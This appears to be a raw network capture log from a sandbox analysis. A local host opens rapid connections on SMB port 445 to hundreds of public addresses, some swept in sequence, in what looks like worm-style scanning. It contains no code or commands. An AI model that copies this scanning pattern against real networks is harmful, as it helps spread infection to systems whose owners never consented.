Jul 20, 2022 06:08:32.027801037 CEST	55151	445	192.168.2.6	37.21.160.97
Jul 20, 2022 06:08:32.040793896 CEST	445	55116	176.241.42.63	192.168.2.6
Jul 20, 2022 06:08:32.128110886 CEST	55152	445	192.168.2.6	178.159.42.90
Jul 20, 2022 06:08:32.156306028 CEST	445	55111	41.79.137.92	192.168.2.6
Jul 20, 2022 06:08:32.283530951 CEST	54586	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:32.549104929 CEST	55116	445	192.168.2.6	176.241.42.63
Jul 20, 2022 06:08:32.597385883 CEST	55157	445	192.168.2.6	132.81.171.176
Jul 20, 2022 06:08:32.598475933 CEST	55158	445	192.168.2.6	39.140.22.200
Jul 20, 2022 06:08:32.604013920 CEST	445	55116	176.241.42.63	192.168.2.6
Jul 20, 2022 06:08:32.612989902 CEST	55159	445	192.168.2.6	68.118.216.138
Jul 20, 2022 06:08:32.615025043 CEST	55161	445	192.168.2.6	150.121.218.202
Jul 20, 2022 06:08:32.615936041 CEST	55162	445	192.168.2.6	194.166.218.107
Jul 20, 2022 06:08:32.658524036 CEST	55111	445	192.168.2.6	41.79.137.92
Jul 20, 2022 06:08:32.706540108 CEST	55167	445	192.168.2.6	87.90.253.9
Jul 20, 2022 06:08:32.855887890 CEST	445	55111	41.79.137.92	192.168.2.6
Jul 20, 2022 06:08:32.925060987 CEST	55169	445	192.168.2.6	208.39.73.165
Jul 20, 2022 06:08:33.038532972 CEST	55174	445	192.168.2.6	116.190.143.159
Jul 20, 2022 06:08:33.050904036 CEST	55175	445	192.168.2.6	176.241.42.64
Jul 20, 2022 06:08:33.082211971 CEST	55177	445	192.168.2.6	67.32.124.68
Jul 20, 2022 06:08:33.082948923 CEST	55178	445	192.168.2.6	172.62.2.173
Jul 20, 2022 06:08:33.083878040 CEST	55179	445	192.168.2.6	64.180.48.43
Jul 20, 2022 06:08:33.086675882 CEST	55181	445	192.168.2.6	177.161.238.17
Jul 20, 2022 06:08:33.086889029 CEST	55182	445	192.168.2.6	22.89.93.58
Jul 20, 2022 06:08:33.087080002 CEST	55185	445	192.168.2.6	102.15.17.164
Jul 20, 2022 06:08:33.096657038 CEST	55187	445	192.168.2.6	114.118.247.253
Jul 20, 2022 06:08:33.105370998 CEST	55189	445	192.168.2.6	206.140.138.76
Jul 20, 2022 06:08:33.105372906 CEST	55188	445	192.168.2.6	29.53.217.156
Jul 20, 2022 06:08:33.105612993 CEST	55194	445	192.168.2.6	41.181.56.163
Jul 20, 2022 06:08:33.105632067 CEST	55195	445	192.168.2.6	91.21.12.39
Jul 20, 2022 06:08:33.105719090 CEST	55196	445	192.168.2.6	159.122.243.242
Jul 20, 2022 06:08:33.105854034 CEST	55197	445	192.168.2.6	140.2.224.175
Jul 20, 2022 06:08:33.106018066 CEST	55200	445	192.168.2.6	132.124.45.55
Jul 20, 2022 06:08:33.106261015 CEST	55204	445	192.168.2.6	193.151.225.134
Jul 20, 2022 06:08:33.106549978 CEST	55209	445	192.168.2.6	37.21.160.98
Jul 20, 2022 06:08:33.225841045 CEST	55221	445	192.168.2.6	176.49.38.155
Jul 20, 2022 06:08:33.227245092 CEST	55222	445	192.168.2.6	178.159.42.91
Jul 20, 2022 06:08:33.408565044 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:33.472448111 CEST	55227	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:33.519040108 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:33.644399881 CEST	445	55227	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:33.644526958 CEST	55227	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:33.644680977 CEST	55227	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:33.706113100 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:33.729799986 CEST	55229	445	192.168.2.6	158.137.3.29
Jul 20, 2022 06:08:33.730391979 CEST	55230	445	192.168.2.6	147.205.23.65
Jul 20, 2022 06:08:33.752054930 CEST	55232	445	192.168.2.6	23.136.39.162
Jul 20, 2022 06:08:33.758304119 CEST	55237	445	192.168.2.6	96.80.161.140
Jul 20, 2022 06:08:33.758390903 CEST	55238	445	192.168.2.6	157.5.7.77
Jul 20, 2022 06:08:33.784507036 CEST	55239	445	192.168.2.6	87.90.253.10
Jul 20, 2022 06:08:33.813574076 CEST	445	55227	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:33.813831091 CEST	55227	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:33.982971907 CEST	445	55227	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:33.983349085 CEST	55227	445	192.168.2.6	107.186.37.12
Jul 20, 2022 06:08:34.034771919 CEST	55241	445	192.168.2.6	17.109.134.110
Jul 20, 2022 06:08:34.114027977 CEST	55244	445	192.168.2.6	176.241.42.65
Jul 20, 2022 06:08:34.145407915 CEST	55247	445	192.168.2.6	47.235.191.56
Jul 20, 2022 06:08:34.154040098 CEST	445	55227	107.186.37.12	192.168.2.6
Jul 20, 2022 06:08:34.159620047 CEST	55248	445	192.168.2.6	37.21.160.99
Jul 20, 2022 06:08:34.191265106 CEST	55250	445	192.168.2.6	44.26.104.209
Jul 20, 2022 06:08:34.192075014 CEST	55251	445	192.168.2.6	17.24.151.35
Jul 20, 2022 06:08:34.193833113 CEST	55253	445	192.168.2.6	71.106.219.1
Jul 20, 2022 06:08:34.194717884 CEST	55254	445	192.168.2.6	74.158.128.131
Jul 20, 2022 06:08:34.197725058 CEST	55256	445	192.168.2.6	116.250.228.37
Jul 20, 2022 06:08:34.197922945 CEST	55259	445	192.168.2.6	111.229.138.85
Jul 20, 2022 06:08:34.217380047 CEST	55260	445	192.168.2.6	191.87.37.204
Jul 20, 2022 06:08:34.217555046 CEST	55261	445	192.168.2.6	33.239.58.100
Jul 20, 2022 06:08:34.218174934 CEST	55262	445	192.168.2.6	203.242.126.217
Jul 20, 2022 06:08:34.218353033 CEST	55265	445	192.168.2.6	136.50.168.41
Jul 20, 2022 06:08:34.218588114 CEST	55269	445	192.168.2.6	185.232.173.249
Jul 20, 2022 06:08:34.218637943 CEST	55270	445	192.168.2.6	221.177.240.204
Jul 20, 2022 06:08:34.218652010 CEST	55268	445	192.168.2.6	18.87.193.130
Jul 20, 2022 06:08:34.218772888 CEST	55272	445	192.168.2.6	120.201.143.29
Jul 20, 2022 06:08:34.219104052 CEST	55278	445	192.168.2.6	187.73.145.122
Jul 20, 2022 06:08:34.224231958 CEST	55283	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:34.284538031 CEST	55284	445	192.168.2.6	178.159.42.92
Jul 20, 2022 06:08:34.333012104 CEST	55287	445	192.168.2.6	208.153.169.112
Jul 20, 2022 06:08:34.394834995 CEST	445	55283	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:34.395040989 CEST	55283	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:34.395095110 CEST	55283	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:34.399082899 CEST	55297	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:34.569180012 CEST	445	55283	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:34.569216967 CEST	445	55283	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:34.570955992 CEST	445	55297	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:34.571054935 CEST	55297	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:34.571805000 CEST	55297	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:34.747210026 CEST	445	55297	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:34.747374058 CEST	55297	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:34.919183016 CEST	445	55297	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:34.971219063 CEST	55297	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:35.068869114 CEST	55297	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:35.086574078 CEST	55301	445	192.168.2.6	57.240.65.145
Jul 20, 2022 06:08:35.087985039 CEST	55302	445	192.168.2.6	123.246.196.160
Jul 20, 2022 06:08:35.093461037 CEST	55308	445	192.168.2.6	41.58.76.177
Jul 20, 2022 06:08:35.094165087 CEST	55309	445	192.168.2.6	109.33.34.191
Jul 20, 2022 06:08:35.095485926 CEST	55311	445	192.168.2.6	27.105.160.174
Jul 20, 2022 06:08:35.188332081 CEST	55312	445	192.168.2.6	87.90.253.11
Jul 20, 2022 06:08:35.195557117 CEST	55313	445	192.168.2.6	159.225.101.251
Jul 20, 2022 06:08:35.238070965 CEST	445	55297	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:35.533803940 CEST	54742	445	192.168.2.6	134.220.131.40
Jul 20, 2022 06:08:35.564986944 CEST	54743	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:35.612277985 CEST	54744	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:35.907386065 CEST	55315	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:35.987102985 CEST	55316	445	192.168.2.6	176.241.42.66
Jul 20, 2022 06:08:35.989362001 CEST	55320	445	192.168.2.6	64.189.236.98
Jul 20, 2022 06:08:36.008865118 CEST	55323	445	192.168.2.6	44.74.97.220
Jul 20, 2022 06:08:36.011018991 CEST	55324	445	192.168.2.6	151.149.43.12
Jul 20, 2022 06:08:36.011194944 CEST	55325	445	192.168.2.6	173.25.194.119
Jul 20, 2022 06:08:36.011497021 CEST	55328	445	192.168.2.6	149.76.49.60
Jul 20, 2022 06:08:36.011702061 CEST	55330	445	192.168.2.6	208.52.204.75
Jul 20, 2022 06:08:36.011884928 CEST	55331	445	192.168.2.6	33.115.55.110
Jul 20, 2022 06:08:36.015893936 CEST	445	55315	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:36.016042948 CEST	55315	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:36.036262035 CEST	445	55316	176.241.42.66	192.168.2.6
Jul 20, 2022 06:08:36.078337908 CEST	55333	445	192.168.2.6	178.159.42.93
Jul 20, 2022 06:08:36.079282999 CEST	55335	445	192.168.2.6	40.153.93.104
Jul 20, 2022 06:08:36.079592943 CEST	55345	445	192.168.2.6	54.249.150.11
Jul 20, 2022 06:08:36.079675913 CEST	55346	445	192.168.2.6	134.102.92.172
Jul 20, 2022 06:08:36.079787016 CEST	55347	445	192.168.2.6	103.2.19.197
Jul 20, 2022 06:08:36.079879045 CEST	55348	445	192.168.2.6	28.223.172.140
Jul 20, 2022 06:08:36.080055952 CEST	55351	445	192.168.2.6	144.197.175.104
Jul 20, 2022 06:08:36.080228090 CEST	55353	445	192.168.2.6	95.243.146.56
Jul 20, 2022 06:08:36.080346107 CEST	55354	445	192.168.2.6	208.186.117.28
Jul 20, 2022 06:08:36.080444098 CEST	55355	445	192.168.2.6	49.122.201.25
Jul 20, 2022 06:08:36.081095934 CEST	55315	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:36.081327915 CEST	55358	445	192.168.2.6	209.213.38.38
Jul 20, 2022 06:08:36.187927008 CEST	445	55315	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:36.191899061 CEST	445	55315	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:36.192017078 CEST	55315	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:36.206909895 CEST	55370	445	192.168.2.6	218.249.254.197
Jul 20, 2022 06:08:36.207628012 CEST	55371	445	192.168.2.6	21.50.242.228
Jul 20, 2022 06:08:36.211348057 CEST	55377	445	192.168.2.6	57.165.237.209
Jul 20, 2022 06:08:36.211997032 CEST	55378	445	192.168.2.6	172.229.237.57
Jul 20, 2022 06:08:36.213428020 CEST	55380	445	192.168.2.6	204.133.179.128
Jul 20, 2022 06:08:36.233815908 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:36.351299047 CEST	445	55384	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:36.351469994 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:36.721375942 CEST	55316	445	192.168.2.6	176.241.42.66
Jul 20, 2022 06:08:36.771328926 CEST	445	55316	176.241.42.66	192.168.2.6
Jul 20, 2022 06:08:36.798444033 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:36.802936077 CEST	55385	445	192.168.2.6	87.90.253.12
Jul 20, 2022 06:08:36.803818941 CEST	55386	445	192.168.2.6	9.99.196.133
Jul 20, 2022 06:08:36.915247917 CEST	445	55384	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:36.915282965 CEST	445	55384	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:37.018275976 CEST	54960	445	192.168.2.6	128.110.36.51
Jul 20, 2022 06:08:37.018277884 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:37.109961987 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:37.211894989 CEST	55010	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:37.228167057 CEST	445	55384	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:37.285981894 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:37.300252914 CEST	55388	445	192.168.2.6	176.241.42.67
Jul 20, 2022 06:08:37.300952911 CEST	55389	445	192.168.2.6	178.159.42.94
Jul 20, 2022 06:08:37.302397966 CEST	55391	445	192.168.2.6	184.146.44.187
Jul 20, 2022 06:08:37.303138018 CEST	55392	445	192.168.2.6	26.162.72.122
Jul 20, 2022 06:08:37.303652048 CEST	55393	445	192.168.2.6	5.109.167.191
Jul 20, 2022 06:08:37.305115938 CEST	55396	445	192.168.2.6	188.21.198.195
Jul 20, 2022 06:08:37.306051016 CEST	55398	445	192.168.2.6	178.138.44.142
Jul 20, 2022 06:08:37.306802034 CEST	55399	445	192.168.2.6	184.35.240.237
Jul 20, 2022 06:08:37.309220076 CEST	55404	445	192.168.2.6	161.41.11.74
Jul 20, 2022 06:08:37.313196898 CEST	55412	445	192.168.2.6	76.235.119.247
Jul 20, 2022 06:08:37.315141916 CEST	55014	445	192.168.2.6	128.110.36.1
Jul 20, 2022 06:08:37.331954956 CEST	445	55389	178.159.42.94	192.168.2.6
Jul 20, 2022 06:08:37.396559954 CEST	55413	445	192.168.2.6	54.33.56.70
Jul 20, 2022 06:08:37.399533987 CEST	445	55384	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:37.406708956 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:37.422964096 CEST	55414	445	192.168.2.6	50.226.77.180
Jul 20, 2022 06:08:37.423142910 CEST	55415	445	192.168.2.6	49.8.18.4
Jul 20, 2022 06:08:37.423634052 CEST	55418	445	192.168.2.6	175.67.155.39
Jul 20, 2022 06:08:37.423932076 CEST	55420	445	192.168.2.6	52.145.118.131
Jul 20, 2022 06:08:37.424089909 CEST	55421	445	192.168.2.6	71.128.57.15
Jul 20, 2022 06:08:37.424222946 CEST	55422	445	192.168.2.6	131.73.185.107
Jul 20, 2022 06:08:37.431184053 CEST	55425	445	192.168.2.6	209.26.105.235
Jul 20, 2022 06:08:37.431745052 CEST	55436	445	192.168.2.6	75.36.229.109
Jul 20, 2022 06:08:37.510090113 CEST	55445	445	192.168.2.6	196.216.135.32
Jul 20, 2022 06:08:37.510328054 CEST	55447	445	192.168.2.6	79.250.118.122
Jul 20, 2022 06:08:37.510421991 CEST	55448	445	192.168.2.6	96.91.111.246
Jul 20, 2022 06:08:37.510713100 CEST	55454	445	192.168.2.6	222.170.129.234
Jul 20, 2022 06:08:37.510824919 CEST	55455	445	192.168.2.6	34.78.3.133
Jul 20, 2022 06:08:37.523279905 CEST	445	55384	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:37.601773977 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:37.719410896 CEST	445	55384	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:37.719575882 CEST	55384	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:38.018383026 CEST	55389	445	192.168.2.6	178.159.42.94
Jul 20, 2022 06:08:38.048679113 CEST	445	55389	178.159.42.94	192.168.2.6
Jul 20, 2022 06:08:38.478507996 CEST	55456	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:38.487756014 CEST	55457	445	192.168.2.6	178.159.42.95
Jul 20, 2022 06:08:38.488327026 CEST	55458	445	192.168.2.6	176.241.42.68
Jul 20, 2022 06:08:38.488836050 CEST	55459	445	192.168.2.6	87.90.253.13
Jul 20, 2022 06:08:38.602020025 CEST	55461	445	192.168.2.6	56.52.59.50
Jul 20, 2022 06:08:38.602165937 CEST	55462	445	192.168.2.6	164.146.74.126
Jul 20, 2022 06:08:38.602319956 CEST	55464	445	192.168.2.6	168.85.146.91
Jul 20, 2022 06:08:38.602463961 CEST	55468	445	192.168.2.6	69.218.247.92
Jul 20, 2022 06:08:38.602541924 CEST	55469	445	192.168.2.6	98.205.227.204
Jul 20, 2022 06:08:38.602638006 CEST	55471	445	192.168.2.6	221.63.183.40
Jul 20, 2022 06:08:38.602797031 CEST	55474	445	192.168.2.6	22.92.181.162
Jul 20, 2022 06:08:38.602864981 CEST	55475	445	192.168.2.6	129.96.72.191
Jul 20, 2022 06:08:38.602947950 CEST	55476	445	192.168.2.6	130.16.181.196
Jul 20, 2022 06:08:38.603190899 CEST	55484	445	192.168.2.6	15.183.129.147
Jul 20, 2022 06:08:38.652767897 CEST	445	55456	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:38.652925014 CEST	55456	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:38.653089046 CEST	55456	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:38.704866886 CEST	55491	445	192.168.2.6	162.109.52.166
Jul 20, 2022 06:08:38.704963923 CEST	55492	445	192.168.2.6	42.44.195.26
Jul 20, 2022 06:08:38.706031084 CEST	54584	445	192.168.2.6	165.3.39.1
Jul 20, 2022 06:08:38.706821918 CEST	55493	445	192.168.2.6	195.246.22.144
Jul 20, 2022 06:08:38.707858086 CEST	55494	445	192.168.2.6	23.81.38.105
Jul 20, 2022 06:08:38.709952116 CEST	55497	445	192.168.2.6	10.206.60.228
Jul 20, 2022 06:08:38.711405039 CEST	55499	445	192.168.2.6	196.159.140.189
Jul 20, 2022 06:08:38.712126970 CEST	55500	445	192.168.2.6	203.231.11.176
Jul 20, 2022 06:08:38.712807894 CEST	55501	445	192.168.2.6	22.30.133.56
Jul 20, 2022 06:08:38.714107990 CEST	55503	445	192.168.2.6	30.73.250.18
Jul 20, 2022 06:08:38.824743986 CEST	445	55456	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:38.936239004 CEST	55456	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:38.957880974 CEST	55515	445	192.168.2.6	218.218.124.64
Jul 20, 2022 06:08:38.958463907 CEST	55524	445	192.168.2.6	8.120.227.238
Jul 20, 2022 06:08:38.958565950 CEST	55525	445	192.168.2.6	81.154.203.74
Jul 20, 2022 06:08:38.958719969 CEST	55527	445	192.168.2.6	35.183.11.215
Jul 20, 2022 06:08:38.961508036 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:38.994307995 CEST	445	55529	134.220.131.1	192.168.2.6
Jul 20, 2022 06:08:38.994509935 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:39.107000113 CEST	445	55456	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:39.107224941 CEST	55456	445	192.168.2.6	107.186.37.13
Jul 20, 2022 06:08:39.277745962 CEST	445	55456	107.186.37.13	192.168.2.6
Jul 20, 2022 06:08:39.333527088 CEST	55530	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:39.333566904 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:39.503359079 CEST	445	55530	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:39.503468990 CEST	55530	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:39.504122972 CEST	55530	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:39.514277935 CEST	55531	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:39.518457890 CEST	54563	445	192.168.2.6	165.3.39.213
Jul 20, 2022 06:08:39.567768097 CEST	55532	445	192.168.2.6	178.159.42.96
Jul 20, 2022 06:08:39.568571091 CEST	55533	445	192.168.2.6	176.241.42.69
Jul 20, 2022 06:08:39.569231987 CEST	55534	445	192.168.2.6	87.90.253.14
Jul 20, 2022 06:08:39.673477888 CEST	445	55530	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:39.673507929 CEST	445	55530	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:39.685242891 CEST	445	55531	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:39.685415983 CEST	55531	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:39.685587883 CEST	55531	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:39.711513996 CEST	55536	445	192.168.2.6	16.247.150.9
Jul 20, 2022 06:08:39.712496996 CEST	55537	445	192.168.2.6	203.58.165.35
Jul 20, 2022 06:08:39.714075089 CEST	55539	445	192.168.2.6	137.43.33.238
Jul 20, 2022 06:08:39.716154099 CEST	55542	445	192.168.2.6	116.61.99.150
Jul 20, 2022 06:08:39.717612028 CEST	55544	445	192.168.2.6	158.113.27.166
Jul 20, 2022 06:08:39.719011068 CEST	55546	445	192.168.2.6	34.91.118.157
Jul 20, 2022 06:08:39.721590042 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:39.723900080 CEST	55549	445	192.168.2.6	179.244.151.85
Jul 20, 2022 06:08:39.741317034 CEST	55550	445	192.168.2.6	32.75.187.179
Jul 20, 2022 06:08:39.742374897 CEST	55551	445	192.168.2.6	117.19.245.69
Jul 20, 2022 06:08:39.748218060 CEST	55559	445	192.168.2.6	67.243.142.133
Jul 20, 2022 06:08:39.803822041 CEST	55566	445	192.168.2.6	105.126.239.189
Jul 20, 2022 06:08:39.807470083 CEST	55567	445	192.168.2.6	208.242.231.200
Jul 20, 2022 06:08:39.821784019 CEST	55574	445	192.168.2.6	161.88.132.110
Jul 20, 2022 06:08:39.822534084 CEST	55575	445	192.168.2.6	205.135.182.239
Jul 20, 2022 06:08:39.824961901 CEST	55578	445	192.168.2.6	205.29.153.212
Jul 20, 2022 06:08:39.826417923 CEST	55580	445	192.168.2.6	168.8.55.41
Jul 20, 2022 06:08:39.827158928 CEST	55581	445	192.168.2.6	112.0.207.121
Jul 20, 2022 06:08:39.827909946 CEST	55582	445	192.168.2.6	99.123.220.138
Jul 20, 2022 06:08:39.829345942 CEST	55584	445	192.168.2.6	122.206.46.203
Jul 20, 2022 06:08:39.856656075 CEST	445	55531	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:39.856992960 CEST	55531	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:40.027822018 CEST	445	55531	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:40.028007984 CEST	55531	445	192.168.2.6	107.186.37.14
Jul 20, 2022 06:08:40.087977886 CEST	55590	445	192.168.2.6	51.182.162.75
Jul 20, 2022 06:08:40.088052034 CEST	55592	445	192.168.2.6	7.39.225.79
Jul 20, 2022 06:08:40.088090897 CEST	55593	445	192.168.2.6	23.29.5.45
Jul 20, 2022 06:08:40.088444948 CEST	55603	445	192.168.2.6	160.228.166.214
Jul 20, 2022 06:08:40.198843956 CEST	445	55531	107.186.37.14	192.168.2.6
Jul 20, 2022 06:08:40.409181118 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:40.615375996 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:40.672981024 CEST	55606	445	192.168.2.6	178.159.42.97
Jul 20, 2022 06:08:40.673773050 CEST	55607	445	192.168.2.6	87.90.253.15
Jul 20, 2022 06:08:40.674298048 CEST	55608	445	192.168.2.6	176.241.42.70
Jul 20, 2022 06:08:40.732338905 CEST	445	55605	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:40.734050035 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:40.734216928 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:40.844352961 CEST	445	55605	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:40.852365017 CEST	445	55605	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:40.853009939 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:40.853471994 CEST	55610	445	192.168.2.6	76.85.215.191
Jul 20, 2022 06:08:40.853888988 CEST	55611	445	192.168.2.6	10.117.233.1
Jul 20, 2022 06:08:40.854212999 CEST	55613	445	192.168.2.6	74.246.89.222
Jul 20, 2022 06:08:40.854406118 CEST	55616	445	192.168.2.6	148.56.32.0
Jul 20, 2022 06:08:40.854566097 CEST	55618	445	192.168.2.6	73.182.153.9
Jul 20, 2022 06:08:40.854743004 CEST	55620	445	192.168.2.6	72.248.55.99
Jul 20, 2022 06:08:40.855775118 CEST	55621	445	192.168.2.6	61.127.236.152
Jul 20, 2022 06:08:40.876110077 CEST	55624	445	192.168.2.6	196.221.137.133
Jul 20, 2022 06:08:40.877620935 CEST	55625	445	192.168.2.6	91.206.203.90
Jul 20, 2022 06:08:40.878076077 CEST	55634	445	192.168.2.6	34.40.158.210
Jul 20, 2022 06:08:40.916315079 CEST	55640	445	192.168.2.6	26.221.170.125
Jul 20, 2022 06:08:40.917188883 CEST	55641	445	192.168.2.6	30.170.99.96
Jul 20, 2022 06:08:40.928047895 CEST	55642	445	192.168.2.6	202.99.120.249
Jul 20, 2022 06:08:40.933115005 CEST	55649	445	192.168.2.6	6.76.18.74
Jul 20, 2022 06:08:40.933979034 CEST	55650	445	192.168.2.6	125.119.40.161
Jul 20, 2022 06:08:40.936021090 CEST	55653	445	192.168.2.6	162.102.97.192
Jul 20, 2022 06:08:40.937427044 CEST	55655	445	192.168.2.6	168.117.146.208
Jul 20, 2022 06:08:40.938153028 CEST	55656	445	192.168.2.6	66.231.23.97
Jul 20, 2022 06:08:40.940406084 CEST	55657	445	192.168.2.6	155.178.203.128
Jul 20, 2022 06:08:40.968441963 CEST	445	55605	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:40.968615055 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:41.082113028 CEST	445	55656	66.231.23.97	192.168.2.6
Jul 20, 2022 06:08:41.086695910 CEST	445	55605	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:41.127990007 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:41.240160942 CEST	55666	445	192.168.2.6	173.108.5.13
Jul 20, 2022 06:08:41.240355015 CEST	445	55605	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:41.240448952 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:41.245214939 CEST	55669	445	192.168.2.6	176.14.233.82
Jul 20, 2022 06:08:41.245258093 CEST	55670	445	192.168.2.6	103.161.90.54
Jul 20, 2022 06:08:41.245371103 CEST	55671	445	192.168.2.6	75.165.211.34
Jul 20, 2022 06:08:41.304694891 CEST	55678	445	192.168.2.6	37.21.160.101
Jul 20, 2022 06:08:41.353554010 CEST	445	55605	37.21.160.100	192.168.2.6
Jul 20, 2022 06:08:41.353657961 CEST	55605	445	192.168.2.6	37.21.160.100
Jul 20, 2022 06:08:41.612436056 CEST	55656	445	192.168.2.6	66.231.23.97
Jul 20, 2022 06:08:41.721801996 CEST	55529	445	192.168.2.6	134.220.131.1
Jul 20, 2022 06:08:41.722692013 CEST	55680	445	192.168.2.6	178.159.42.98
Jul 20, 2022 06:08:41.723350048 CEST	55681	445	192.168.2.6	176.241.42.71
Jul 20, 2022 06:08:41.723970890 CEST	55682	445	192.168.2.6	87.90.253.16
Jul 20, 2022 06:08:41.750581026 CEST	445	55680	178.159.42.98	192.168.2.6
Jul 20, 2022 06:08:41.759609938 CEST	445	55656	66.231.23.97	192.168.2.6
Jul 20, 2022 06:08:41.973727942 CEST	55685	445	192.168.2.6	211.27.119.100
Jul 20, 2022 06:08:41.975140095 CEST	55687	445	192.168.2.6	143.38.77.174
Jul 20, 2022 06:08:41.976392984 CEST	55689	445	192.168.2.6	12.243.46.216
Jul 20, 2022 06:08:41.977699041 CEST	55691	445	192.168.2.6	32.80.30.77
Jul 20, 2022 06:08:41.979876041 CEST	55694	445	192.168.2.6	179.207.23.6
Jul 20, 2022 06:08:41.981194019 CEST	55696	445	192.168.2.6	28.183.162.23
Jul 20, 2022 06:08:41.981848955 CEST	55697	445	192.168.2.6	154.138.54.112
Jul 20, 2022 06:08:42.001446009 CEST	55699	445	192.168.2.6	11.139.86.130
Jul 20, 2022 06:08:42.001542091 CEST	55701	445	192.168.2.6	181.158.114.247
Jul 20, 2022 06:08:42.001811028 CEST	55709	445	192.168.2.6	176.117.61.150
Jul 20, 2022 06:08:42.031451941 CEST	55711	445	192.168.2.6	179.106.96.15
Jul 20, 2022 06:08:42.031481981 CEST	55710	445	192.168.2.6	213.108.11.101
Jul 20, 2022 06:08:42.050857067 CEST	55716	445	192.168.2.6	13.139.234.212
Jul 20, 2022 06:08:42.051520109 CEST	55717	445	192.168.2.6	148.128.183.27
Jul 20, 2022 06:08:42.052805901 CEST	55719	445	192.168.2.6	48.156.250.129
Jul 20, 2022 06:08:42.054944038 CEST	55722	445	192.168.2.6	177.215.1.29
